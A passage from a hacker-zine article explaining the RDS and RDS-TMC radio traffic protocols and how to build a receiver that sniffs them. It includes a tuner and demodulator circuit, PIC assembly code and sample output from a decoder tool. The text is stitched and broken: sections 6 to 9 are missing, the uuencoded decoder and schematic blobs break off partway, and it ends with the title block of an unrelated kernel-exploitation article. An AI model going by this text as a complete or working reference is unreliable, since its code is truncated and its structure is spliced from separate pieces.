We'll explore the security aspects in Part II.

‑‑[ 3. RDS

The Radio Data System standard is widely adopted on pretty much every modern FM radio, 99.9% of all car FM radio models feature RDS nowadays. The standard is used for transmitting data over FM broadcasts and RDS‑TMC is a subset of the type of messages it can handle. The RDS standard is described in the European Standard 50067.

The most recognizable data transmitted over RDS is the station name which is often shown on your radio display, other information include alternate frequencies for the station (that can be tried when the signal is lost), descriptive information about the program type, traffic announcements (most radio can be set up to interrupt CD and/or tape playing and switch to radio when a traffic announcement is detected), time and date and many more including TMC messages.

In a FM transmission the RDS signal is transmitted on a 57k subcarrier in order to separate the data channel from the Mono and/or Stereo audio.

FM Spectrum:

Mono Pilot Tone Stereo (L‑R) RDS Signal

^ ^ ^ ^

|||||||||| | |||||||||| ||||||||||

|||||||||| | |||||||||| ||||||||||

|||||||||| | |||||||||| ||||||||||

|||||||||| | |||||||||| ||||||||||

|||||||||| | |||||||||| ||||||||||

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

19k 23k 38k 53k 57k Freq (Hz)

The RDS signal is sampled against a clock frequency of 1.11875 kHz, this means that the data rate is 1187.5 bit/s (with a maximum deviation of +/0.125 bit/s).

The wave amplitude is decoded in a binary representation so the actual data stream will be friendly '1' and '0'.

The RDS smallest "packet" is called a Block, 4 Blocks represent a Group. Each Block has 26 bits of information making a Group 104 bits large.

Group structure (104 bits):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Block 1 | Block 2 | Block 3 | Block 4 |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Block structure (26 bits):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Data (16 bits) | Checkword (10 bits) |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Checkword is a checksum included in every Block computed for error protection, the very nature of analog radio transmission introduces many errors in data streams. The algorithm used is fully specified in the standard and it doesn't concern us for the moment.

Here's a representation of the most basic RDS Group:

Block 1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ PI code = 16 bits

| PI code | Checkword | Checkword = 10 bits ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Block 2: Group code = 4 bits

B0 = 1 bit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑TP = 1 bit

| Group code | B0 | TP | PTY | <5 bits> | Checkword | PTY = 5 bits

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Checkword = 10 bits

Block 3:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Data = 16 bits

| Data | Checkword | Checkword = 10 bits

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Block 4:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Data = 16 bits

| Data | Checkword | Checkword = 10 bits

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The PI code is the Programme Identification code, it identifies the radio station that's transmitting the message. Every broadcaster has a unique assigned code.

The Group code identifies the type of message being transmitted as RDS can be used for transmitting several different message formats. Type 0A (00000) and 0B (00001) for instance are used for tuning information. RDS‑TMC messages are transmitted in 8A (10000) groups. Depending on the Group type the remaining 5 bits of Block 2 and the Data part of Block 3 and Block 4 are used according to the relevant Group specification.

The 'B0' bit is the version code, '0' stands for RDS version A, '1' stands for RDS version B.

The TP bit stands for Traffic Programme and identifies if the station is capable of sending traffic announcements (in combination with the TA code present in 0A, 0B, 14B, 15B type messages), it has nothing to do with RDS‑TMC and it refers to audio traffic announcements only.

The PTY code is used for describing the Programme Type, for instance code 1 (converted in decimal from its binary representation) is 'News' while code 4 is 'Sport'.

‑‑[ 4. RDS‑TMC

Traffic Message Channel packets carry information about traffic events, their location and the duration of the event. A number of lookup tables are being used to correlate event codes to their description and location codes to the GPS coordinates, those tables are expected to be present in our SatNav memory. The RDS‑TMC standard is described in International Standard (ISO) 14819‑1.

All the most recent SatNav systems supports RDS‑TMC to some degree, some systems requires purchase of an external antenna in order to correctly receive the signal, modern ones integrated in the car cockpit uses the existing FM antenna used by the radio system. The interface of the SatNav allows display of the list of received messages and prompts detours upon events that affect the current route.

TMC packets are transmitted as type 8A (10000) Groups and they can be divided in two categories: Single Group messages and Multi Group messages. Single Group messages have bit number 13 of Block 2 set to '1', Multi Group messages have bit number 13 of Block 2 set to '0'.

Here's a Single Group RDS‑TMC message:

Block 1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ PI code = 16 bits

| PI code | Checkword | Checkword = 10 bits ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Block 2: Group code = 4 bits

B0 = 1 bit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑TP = 1 bit

| Group code | B0 | TP | PTY | T | F | DP | Checkword | PTY = 5 bits

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Checkword = 10 bits

T = 1 bit DP = 3 bits

F = 1 bit

Block 3: D = 1 bit

PN = 1 bit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Extent = 3 bits

| D | PN | Extent | Event | Checkword | Event = 11 bits

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Checkword = 10 bits

Block 4:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Location = 16 bits

| Location | Checkword | Checkword = 10 bits

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We can see the usual data which we already discussed for RDS as well as new information (the <5 bits> are now described).

We already mentioned the 'F' bit, it's bit number 13 of Block 2 and it identifies the message as a Single Group (F = 1) or Multi Group (F = 0).

The 'T', 'F' and 'D' bits are used in Multi Group messages for identifying if this is the first group (TFD = 001) or a subsequent group (TFD = 000) in the stream.

The 'DP' bit stands for duration and persistence, it contains information about the timeframe of the traffic event so that the client can automatically flush old ones.

The 'D' bit tells the SatNav if diversion advice needs to be prompted or not.

The 'PN' bit (Positive/Negative) indicates the direction of queue events, it's opposite to the road direction since it represent the direction of the growth of a queue (or any directional event).

The 'Extent' data shows the extension of the current event, it is measured in terms of nearby Location Table entries.

The 'Event' part contains the 11 bit Event code, which is looked up on the local Event Code table stored on the SatNav memory. The 'Location' part contains the 16 bit Location code which is looked up against the Location Table database, also stored on your SatNav memory, some countries allow a free download of the Location Table database (like Italy[1]).

Multi Group messages are a sequence of two or more 8A groups and can contain additional information such as speed limit advices and supplementary information.

‑‑[ 5. Sniffing circuitry

Sniffing RDS traffic basically requires three components:

1. FM radio with MPX output

2. RDS signal demodulator

3. RDS protocol decoder

The first element is a FM radio receiver capable of giving us a signal that has not already been demodulated in its different components since we need access to the RDS subcarrier (and an audio only output would do no good). This kind of "raw" signal is called MPX (Multiplex). The easiest way to get such signal is to buy a standard PCI Video card that carries a tuner which has a MPX pin that we can hook to.

One of these tuners is Philips FM1216[2] (available in different "flavours", they all do the trick) which provides pin 25 for this purpose. It's relatively easy to identify a PCI Video card that uses this tuner, we used the WinFast DV2000. An extensive database[3] is available.

Once we get the MPX signal it can then be connect to a RDS signal demodulator which will perform the de‑modulation and gives us parsable data. Our choice is ST Microelectronics TDA7330B[4], a commercially available chip used in most radio capable of RDS de‑modulation. Another possibility could be the Philips SAA6579[5], it offers the same functionality of the TDA7330, pinning might differ.

Finally we use custom PIC (Peripheral Interface Controller) for preparing and sending the information generated by the TDA7330 to something that we can understand and use, like a standard serial port.

The PIC brings DATA, QUAL and CLOCK from demodulator and "creates" a stream good enough to be sent to the serial port. Our PIC uses only two pins of the serial port (RX ‑ RTS), it prints out ascii '0' and '1' clocked at 19200 baud rate with one start bit and two stop bits, no parity bit is used.

As you can see the PIC makes our life easier, in order to see the raw stream we only have to connect the circuit and attach a terminal to the serial port, no particular driver is needed. The PIC we use is a PIC 16F84, this microcontroller is cheap and easy to work with (its assembly has only 35 instructions), furthermore a programmer for setting up the chip can be easily bought or assembled. If you want to build your own programmer a good choice would be uJDM[6], it's one of the simplest PIC programmers available (it is a variation of the famous JDM programmer).

At last we need to convert signals from the PIC to RS232 compatible signal levels. This is needed because the PIC and other integrated circuits works under TTL (Transistor to Transistor Logic ‑ 0V/+5V), whereas serial port signal levels are ‑12V/+12V. The easiest approach for converting the signal is using a Maxim RS‑232[7]. It is a specialized driver and receiver integrated circuit used to convert between TTL logic levels and RS‑232 compatible signal levels.

Here's the diagram of the setup:

\ /

\ /

|

|

| RDS ‑ Demodulator ]

| diagram*

______________[ ]__

|‑ || |=‑

|‑ || F T |=‑

|‑ || M U |=‑

P |‑ || 1 N |=‑

C |‑ || 2 E |=‑

I |‑ || 1 R |=‑

|‑ || 6 |=‑ 1 _______ 20

B | ||________|=‑ ‑‑‑‑‑‑‑‑> MPX ‑‑‑> MUXIN ‑|. U |‑

u |‑ | pin 25 ‑| |‑

s |‑ | AF sound output ‑| T |‑

|‑ | D |‑

|‑ | A |‑

|‑ | 7 |‑

|‑ | 3 |‑ QUAL______

|‑ | 3 |‑ DATA____ |

|‑ | 0 |‑ CLOCK_ | |

|___________________| V

10 11 | V |

________________________________V | |

| __________________________

| ___|__________________________

| | |

| | | 1 _______ 18

V | V x ‑|. u |‑ ‑> data out (to rs232)______________ | V | x ‑| |‑ ‑> rts out (to rs232)____________ | | | _| x ‑| 1 |‑ <‑ osc1 / clkin | | | | | MCLR ‑> ‑| 6 |‑ ‑> OSC2 / CLKOUT | V | | | Vss (gnd) ‑> ‑| F |‑ <‑ Vdd (+5V) V |

| | |_____ DATA ‑> ‑| 8 |‑ x | |

| |_______ QUAL ‑> ‑| 4 |‑ x | |

|________ CLOCK ‑> ‑| |‑ x | |

x ‑|_______|‑ x | |

9 10 | |

_

Serial Port | 1 _______ 16 | | |

(DB9 connector) | ‑|. U |‑ ^ | |

______________ |

| RX ‑ pin2 | | ‑| R |‑ RTS _| | |

____V________ | | ‑|S |‑ V |

| . o . . . | | | ‑|2 |‑ | V

\ . o . . / | | ‑| 3 |‑ <‑ _____| |

‑‑‑‑‑‑‑‑‑ |_________|_DATA ‑| 2 |‑ <‑ _______|

^ RTS ‑ pin 7 | ‑|_______|‑

|_______________________| 8 9

Here's the commented assembler code for our PIC:

;

; Copyright 2007 Andrea Barisani <lcars@inversepath.com>

; Daniele Bianco <danbia@inversepath.com>

;

; Permission to use, copy, modify, and distribute this software for any ; purpose with or without fee is hereby granted, provided that the above ; copyright notice and this permission notice appear in all copies. ;

; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

;

; Pin diagram:

;

; 1 _______ 18

; x ‑|. U |‑ ‑> DATA out (to RS232)

; x ‑| |‑ ‑> RTS out (to RS232)

; x ‑| 1 |‑ <‑ OSC1 / CLKIN

; MCLR ‑> ‑| 6 |‑ ‑> OSC2 / CLKOUT

; Vss (gnd) ‑> ‑| F |‑ <‑ Vdd (+5V)

; DATA ‑> ‑| 8 |‑ x

; QUAL ‑> ‑| 4 |‑ x

; CLOCK ‑> ‑| |‑ x

; x ‑|_______|‑ x

; 9 10

;

; Connection description:

;

; pin 4 : MCLR (it must be connected to Vdd through a resistor ; to prevent PIC reset ‑ 10K is a good resistor) ; pin 5 : Vss (directly connected to gnd)

;

; pin 6 : DATA input (directly connected to RDS demodulator DATA out) ; pin 7 : QUAL input (directly connected to RDS demodulator QUAL out) ; pin 8 : CLOCK input (directly connected to RDS demodulator CLOCK out) ;

; pin 14: Vdd (directly connected to +5V)

; pin 15: OSC2 / CLKOUT (connected to an 2.4576 MHz oscillator crystal* ) ; pin 16: OSC1 / CLKIN (connected to an 2.4576 MHz oscillator crystal* ) ;

; pin 17: RTS output (RS232 ‑ ''RTS'' pin 7 on DB9 connector** ) ; pin 18: DATA output (RS232 ‑ ''RX'' pin 2 on DB9 connector** ) ;

; pin 1,2,3,9,10,11,12,13: unused

;

; *)

; We can connect the oscillator crystal to the PIC using this simple ; circuit:

;

; C1 (15‑33 pF)

; ____||____ ______ OSC1 / CLKIN

; | || |

; | ___

; gnd ‑‑‑| = XTAL (2.4576 MHz)

; | ‑‑‑

; |____||____|______

; || OSC2 / CLKOUT

; C2 (15‑33 pF)

; **)

; We have to convert signals TTL <‑> RS232 before we send/receive them ; to/from the serial port.

; Serial terminal configuration:

; 8‑N‑2 (8 data bits ‑ No parity ‑ 2 stop bits)

;

; HARDWARE CONF ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PROCESSOR 16f84

RADIX DEC

INCLUDE "p16f84.inc"

ERRORLEVEL ‑302 ; suppress warnings for bank1

__CONFIG 1111111110001b ; Code Protection disabled

;Power Up Timer enabled

;WatchDog Timer disabled

;Oscillator type XT

; ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; DEFINE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define Bank0 bcf STATUS, RP0 ; activates bank 0

#define Bank1 bsf STATUS, RP0 ; activates bank 1

#define Send_0 bcf PORTA, 1 ; send 0 to RS232 RX #define Send_1 bsf PORTA, 1 ; send 1 to RS232 RX #define Skip_if_C btfss STATUS, C ; skip if C FLAG is set

#define RTS PORTA, 0 ; RTS pin RA0

#define RX PORTA, 1 ; RX pin RA1

#define DATA PORTB, 0 ; DATA pin RB0

#define QUAL PORTB, 1 ; QUAL pin RB1

#define CLOCK PORTB, 2 ; CLOCK pin RB2

RS232_data equ 0x0C ; char to transmit to RS232 BIT_counter equ 0x0D ; n. of bits to transmit to RS232 RAW_data equ 0x0E ; RAW data (from RDS demodulator) dummy_counter equ 0x0F ; dummy counter... used for delays

; ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; BEGIN PROGRAM CODE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ORG 000h

InitPort

Bank1 ; select bank 1

movlw 00000000b ; RA0‑RA4 output

movwf TRISA ;

movlw 00000111b ; RB0‑RB2 input / RB3‑RB7 output movwf TRISB ;

Bank0 ; select bank 0

movlw 00000010b ; set voltage at ‑12V to RS232 ''RX'' movwf PORTA ;

Main

btfsc CLOCK ; wait for clock edge (high ‑> low) goto Main ;

movfw PORTB ;

andlw 00000011b ; reads levels on PORTB and send movwf RAW_data ; data to RS232

call RS232_Tx ;

btfss CLOCK ; wait for clock edge (low ‑> high)

goto $‑1 ;

goto Main

RS232_Tx ; RS232 (19200 baud rate) 8‑N‑2

;1 start+8 data+2 stop ‑ No parity

btfsc RAW_data,1

goto Good_qual

goto Bad_qual

Good_qual ;

movlw 00000001b ;

andwf RAW_data,w ; good quality signal iorlw '0' ; sends '0' or '1' to RS232 movwf RS232_data ;

goto Char_Tx

Bad_qual ;

movlw 00000001b ;

andwf RAW_data,w ; bad quality signal

iorlw '*' ; sends '*' or '+' to RS232

movwf RS232_data ;

Char_Tx

movlw 9 ; (8 bits to transmit)

movwf BIT_counter ; BIT_counter = n. bits + 1

call StartBit ; sends start bit

Send_loop

decfsz BIT_counter, f ; sends all data bits contained in goto Send_data_bit ; RS232_data

call StopBit ; sends 2 stop bit and returns to Main

Send_1

goto Delay16

StartBit

Send_0

nop

nop

goto Delay16

StopBit

nop

nop

nop

nop

nop

Send_1

call Delay8

goto Delay16

Send_0_

Send_0

goto Delay16

Send_1_

nop

Send_1

goto Delay16

Send_data_bit

rrf RS232_data, f ; result of rotation is saved in Skip_if_C ; C FLAG, so skip if FLAG is set goto Send_zero

call Send_1_

goto Send_loop

Send_zero

call Send_0_

goto Send_loop

;

; 4 / clock = ''normal'' instruction period (1 machine cycle )

; 8 / clock = ''branch'' instruction period (2 machine cycles)

;

; clock normal instr. branch instr.

; 2.4576 MHz 1.6276 us 3.2552 us

;

Delay16

movlw 2 ; dummy cycle,

movwf dummy_counter ; used only to get correct delay

;for timing.

decfsz dummy_counter,f ;

goto $‑1 ; Total delay: 8 machine cycles

nop ; ( 1 + 1 + 1 + 2 + 2 + 1 = 8 )

Delay8

movlw 2 ; dummy cycle,

movwf dummy_counter ; used only to get correct delay

;for timing.

decfsz dummy_counter,f ;

goto $‑1 ; Total delay: 7 machine cycles

;1 + 1 + 1 + 2 + 2 = 7 )

Delay1

nop

RETURN ; unique return point

END

; END PROGRAM CODE ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

</code>

Using the circuit we assembled we can "sniff" RDS traffic directly on the serial port using screen, minicom or whatever terminal app you like. You should configure your terminal before attaching it to the serial port, the settings are 19200 baud rate, 8 data bits, 2 stop bits, no parity.

# stty ‑F /dev/ttyS0 19200 cs8 cstopb ‑parenb

speed 19200 baud; rows 0; columns 0; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^H; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 100; time = 2; ‑parenb ‑parodd cs8 ‑hupcl cstopb cread clocal crtscts ‑ignbrk brkint ignpar ‑parmrk ‑inpck ‑istrip ‑inlcr ‑igncr ‑icrnl ‑ixon ‑ixoff ‑iuclc ‑ixany ‑imaxbel ‑iutf8 ‑opost ‑olcuc ‑ocrnl ‑onlcr ‑onocr ‑onlret ‑ofill ‑ofdel nl0 cr0 tab0 bs0 vt0 ff0 ‑isig ‑icanon iexten ‑echo echoe echok ‑echonl ‑noflsh ‑xcase ‑tostop ‑echoprt echoctl echoke

# screen /dev/ttyS0 19200 1010100100001100000000101000*000101001+11101111011111111110000001011011100 10101001++000001100101100*110100101001000011000000111010000100101001111111 0011101100010011000100000+000000000 ... <and so on>

As you can see we get '0' and '1' as well as '*' and '+', this is because the circuit estimates the quality of the signal. '*' and '+' are bad quality '0' and '1' data. We ignore bad data and only accept good quality. Bad quality data should be ignored, and if you see a relevant amount of '*' and '+' in your stream verify the tuner settings.

In order to identify the beginning of an RDS message and find the right offset we "lock" against the PI code, which is present at the beginning of every RDS group. PI codes for every FM radio station are publicly available on the Internet, if you know the frequency you are listening to then you can figure out the PI code and look for it. If you have no clue about what the PI code might be a way for finding it out is seeking the most recurring 16 bit string, which is likely to be the PI code.

Here's a single raw RDS Group with PI 5401 (hexadecimal conversion of 101010000000001):

01010100000000011111011001000001000010100011001011000000001000010100000011001001010010010000010001101110

Let's separate the different sections:

0101010000000001 1111011001 0000 01 0 0001 01000 1100101100 0000001000010100 0000110010 0101001001000001 0001101110 PI code Checkword Group B0 TP PTY <5 bits> Checkword Data Checkword Data Checkword

So we can isolate and identify RDS messages, now you can either parse them visually by reading the specs (not a very scalable way we might say) or use a tool like our Simple RDS Decoder.

‑‑[ 10. Simple RDS Decoder 0.1

The tool parses basic RDS messages and 0A Group (more Group decoding will be implemented in future versions) and performs full decoding of Single group RDS‑TMC messages (Multi Group support is also planned for future releases).

Here's the basic usage:

# ./srdsd ‑h

Simple RDS‑TMC Decoder 0.1 || http://dev.inversepath.com/rds

Copyright 2007 Andrea Barisani || <andrea@inversepath.com>

Usage: ./srdsd.pl [‑h|‑H|‑P|‑t] [‑d <location db path>] [‑p <PI number>] <input file> ‑t display only tmc packets

‑H HTML output (outputs to /tmp/rds‑*.html)

‑p PI number

‑P PI search

‑d location db path

‑h this help

Note: ‑d option expects a DAT Location Table code according to TMCF‑LT‑EF‑MFF‑v06 standard (2005/05/11)

As we mentioned the first step is finding the PI for your RDS stream, if you don't know it already you can use '‑P' option:

# ./srdsd ‑P rds_dump.raw | tail

0010000110000000: 4140 (2180)

1000011000000001: 4146 (8601)

0001100000000101: 4158 (1805)

1001000011000000: 4160 (90c0)

0000110000000010: 4163 (0c02)

0110000000010100: 4163 (6014)

0011000000001010: 4164 (300a)

0100100001100000: 4167 (4860)

1010010000110000: 4172 (a430)

0101001000011000: 4185 (5218)

Here 5218 looks like a reasonable candidate being the most recurrent string. Let's try it:

# ./srdsd ‑p 5218 ‑d ~/loc_db/ rds_dump.raw

Reading TMC Location Table at ~/loc_db/:

parsing NAMES: 13135 entries

parsing ROADS: 1011 entries

parsing SEGMENTS: 15 entries

parsing POINTS: 12501 entries

done.

Got RDS message (frame 1)

Programme Identification: 0101001000011000 (5218)

Group type code/version: 0000/0 (0A ‑ Tuning)

Traffic Program: 1

Programme Type: 01001 (9 ‑ Varied Speech)

Block 2: 01110

Block 3: 1111100000010110

Block 4: 0011000000110010

Decoded 0A group:

Traffic Announcement: 0

Music Speech switch: 0

Decoder Identification control: 110 (Artificial Head / PS char 5,6) Alternative Frequencies: 11111000, 00010110 (112.3, 89.7) Programme Service name: 0011000000110010 (02)

Collected PSN: 02

...

Got RDS message (frame 76)

Programme Identification: 0101001000011000 (5218)

Group type code/version: 1000/0 (8A ‑ TMC)

Traffic Program: 1

Programme Type: 01001 (9 ‑ Varied Speech)

Block 2: 01000

Block 3: 0101100001110011

Block 4: 0000110000001100

Decoded 8A group:

Bit X4: 0 (User message)

Bit X3: 1 (Single‑group message)

Duration and Persistence: 000 (no explicit duration given) Diversion advice: 0

Direction: 1 (‑)

Extent: 011 (3)

Event: 00001110011 (115 ‑ slow traffic (with average speeds Q)) Location: 0000110000001100 (3084)

Decoded Location:

Location code type: POINT

Name ID: 11013 (Sv. Grande Raccordo Anulare)

Road code: 266 (Roma‑Ss16)

GPS: 41.98449 N 12.49321 E

Link: http://maps.google.com/maps?ll=41.98449,12.49321&spn=0.3,0.3&q=41.98449,12.49321

...and so on.

The 'Collected PSN' variable holds all the character of Programme Service name seen so far, this way we can track (just like RDS FM Radio do) the name of the station:

# ./srdsd ‑p 5201 rds_dump.raw | grep "Collected PSN" | head

Collected PSN: DI

Collected PSN: DIO1

Collected PSN: DIO1

Collected PSN: RADIO1

Collected PSN: RADIO1

Check out '‑H' switch for html'ized output in /tmp (which can be useful for directly following the Google Map links). We also have a version that plots all the traffic on Google Map using their API, if you are interested in it just email us.

Have fun.

‑‑[ I. References

[1] ‑ Italian RDS‑TMC Location Table Database https://www2.ilportaledellautomobilista.it/info/infofree?idUser=1&idBody=14

[2] ‑ Philips FM1216 DataSheet http://pvr.sourceforge.net/FM1216.pdf

[3] ‑ PVR Hardware Database

http://pvrhw.goldfish.org

[4] ‑ SGS‑Thompson Microelectronics TDA7330 http://www.datasheetcatalog.com/datasheets_pdf/T/D/A/7/TDA7330.shtml

[5] ‑ Philips SAA6579 http://www.datasheetcatalog.com/datasheets_pdf/S/A/A/6/SAA6579.shtml

[6] ‑ uJDM PIC Programmer http://www.semis.demon.co.uk/uJDM/uJDMmain.htm

[7] ‑ Maxim RS‑232 http://www.maxim‑ic.com/getds.cfm?qv_pk=1798&ln=en

[8] ‑ Xcircuit

http://xcircuit.ece.jhu.edu

‑‑[ II. Code

Code also available at http://dev.inversepath.com/rds/

<++> Simple RDS Decoder 0.1 ‑ srdsd.uue

begin 644 srdsd

M(R$O=7‑R+V)I;B]P97)L"B,*(R!3:6UP;&4@4D13+51‑0R!$96‑O9&5R(#`N M,0HC"B,@5&AI<R!#;V1E(&ES($,N4BY5+D0N12X*(R`H0V]D92!2=7‑H960@ M86YD(%5G;'D@8F5C875S92!O9B!5;F5X<&5C=&5D($1%861L:6YE*0HC(`HC M($‑O<'ER:6=H="`R,#`W($%N9')E82!"87)I<V%N:2`\86YD<F5A0&EN=F5R M<V5P871H+F‑O;3X*(PHC(%!E<FUI<W‑I;VX@=&\@=7‑E+"!C;W!Y+"!M;V1I M9GDL(&%N9"!D:7‑T<FEB=71E('1H:7,@<V]F='=A<F4@9F]R(&%N>0HC('!U M<G!O<V4@=VET:"!O<B!W:71H;W5T(&9E92!I<R!H97)E8GD@9W)A;G1E9"P@ M<')O=FED960@=&AA="!T:&4@86)O=F4*(R!C;W!Y<FEG:'0@;F]T:6‑E(&%N M9"!T:&ES('!E<FUI<W‑I;VX@;F]T:6‑E(&%P<&5A<B!I;B!A;&P@8V]P:65S M+@HC"B,@5$A%(%‑/1E1705)%($E3(%!23U9)1$5$(")!4R!)4R(@04Y$(%1( M12!!551(3U(@1$E30TQ!24U3($%,3"!705)204Y42453"B,@5TE42"!214=! M4D0@5$\@5$A)4R!33T945T%212!)3D‑,541)3D<@04Q,($E‑4$Q)140@5T%2 M4D%.5$E%4R!/1@HC($U%4D‑(04Y404))3$E462!!3D0@1DE43D534RX@24X@ M3D\@159%3E0@4TA!3$P@5$A%($%55$A/4B!"12!,24%"3$4@1D]2"B,@04Y9 M(%‑014‑)04PL($1)4D5#5"P@24Y$25)%0U0L($]2($‑/3E‑%455%3E1)04P@ M1$%‑04=%4R!/4B!!3ED@1$%‑04=%4PHC(%=(05133T5615(@4D5354Q424Y' M($923TT@3$]34R!/1B!54T4L($1!5$$@3U(@4%)/1DE44RP@5TA%5$A%4B!) M3B!!3@HC($%#5$E/3B!/1B!#3TY44D%#5"P@3D5'3$E'14Y#12!/4B!/5$A% M4B!43U)424]54R!!0U1)3TXL($%225‑)3D<@3U54($]&"B,@3U(@24X@0T]. M3D5#5$E/3B!7251((%1(12!54T4@3U(@4$521D]234%.0T4@3T8@5$A)4R!3 M3T945T%212X*"G5S92!S=')I8W0["G5S92!W87)N:6YG<SL*=7‑E($9I;&4Z M.E1E;7`@<7<H=&5M<&1I<BD["G5S92!'971O<'0Z.DQO;F<@<7<H.F‑O;F9I M9R!N;U]I9VYO<F5?8V%S92D["@IM>2`E;W!T<SL@"D=E=$]P=&EO;G,H)W1M M8R<@/3X@7"1O<'1S>R=T)WTL("=(=&UL)R`]/B!<)&]P='‑[)T@G?2P@)U!) M<V5A<F‑H)R`]/B!<)&]P='‑[)U`G?2P*("`@("`@("`@("`G<&D]:2<]/B!<

M)&]P='‑[)W`G?2P@)V1B/7,G(#T^(%PD;W!T<WLG9"=]+"`G:&5L<"<@/3X@ M7"1O<'1S>R=H)WTI.PII9B`H)&]P='‑[)V@G?2!O<B`H(21!4D=66S!=*2D@ M>R!U<V%G92@I.R!]"@IO<&5N*$9)3$4L("(\)$%21U9;,%TB*2!O<@H@("`@

M9&EE(")#;W5L9"!N;W0@;W!E;B`D05)'5ELP73H@)"%<;B(["@II9B`H)&]P M='‑[)U`G?2D@>R!P:7‑E87)C:"@I.R!E>&ET(#`[('T*"FUY($!04TX@/2`H M*3L*;7D@*"1I+"`D:6YD97@I(#T@,#L*;7D@*$!$4"P@0%!.+"!`179E;G0I M.PIM>2`H)&9I;F1022P@)$9(+"`D<F1S7VUS9RP@)'1A8FQE7W!A=&@I.PIM M>2`H)7!O:6YT+"`E;F%M92P@)7)O860L("5S96=M96YT+"`E8VAA<BP@)61I M+"`E<'1Y+"`E9W)P*3L*"FUY("1022`@/2!H97@R8FEN*"1O<'1S>R=P)WTI M('Q\("(P,3`Q,#`Q,#`P,#`P,#`Q(CL@(R!2861I;S$*;7D@)&1I<B`]("(O

M=&UP+W)D<RU86%A86%@B.PH*:6YI=%]L;V]K=7!?=&%B;&5S*"D["@II9B`H

M)&]P='‑[)V0G?2D@>PH@("`@)'1A8FQE7W!A=&@@/2`D;W!T<WLG9"=].PH@ M("`@<F5A9%]T;6‑?=&%B;&4H)'1A8FQE7W!A=&@I.PI]"@II9B`H)&]P='‑[

end

<‑‑> Simple RDS Decoder 0.1 ‑ srdsd.uue

Here's the schematic of the RDS Demodulator. You can directly use it to view / print the circuit or import the file with Xcircuit[9] to modify the diagram.

<++> RDS_Demodulator.ps.gz.uue

begin 644 RDS_Demodulator.ps.gz M'XL("+9@]44``U)$4U]$96UO9'5L871O<BYP<P#M/6MSXT9RGX5?,?F@*FTY

end

<‑‑> RDS_Demodulator.ps.gz.uue

Attacking the Core

_

_/B\_ W\_

(* *) Phrack #64 file 6 (* *)

| ‑ |

| | Attacking the Core : Kernel Exploiting Notes | |

| |

| | By sqrkkyu <sgrakkyu@antifork.org> | | | | twzi <twiz@email.it> | |

| |

(_____________________________

==Phrack Inc.==

Volume 0x00, Issue 0x00, Phile #0x00 of 0x00

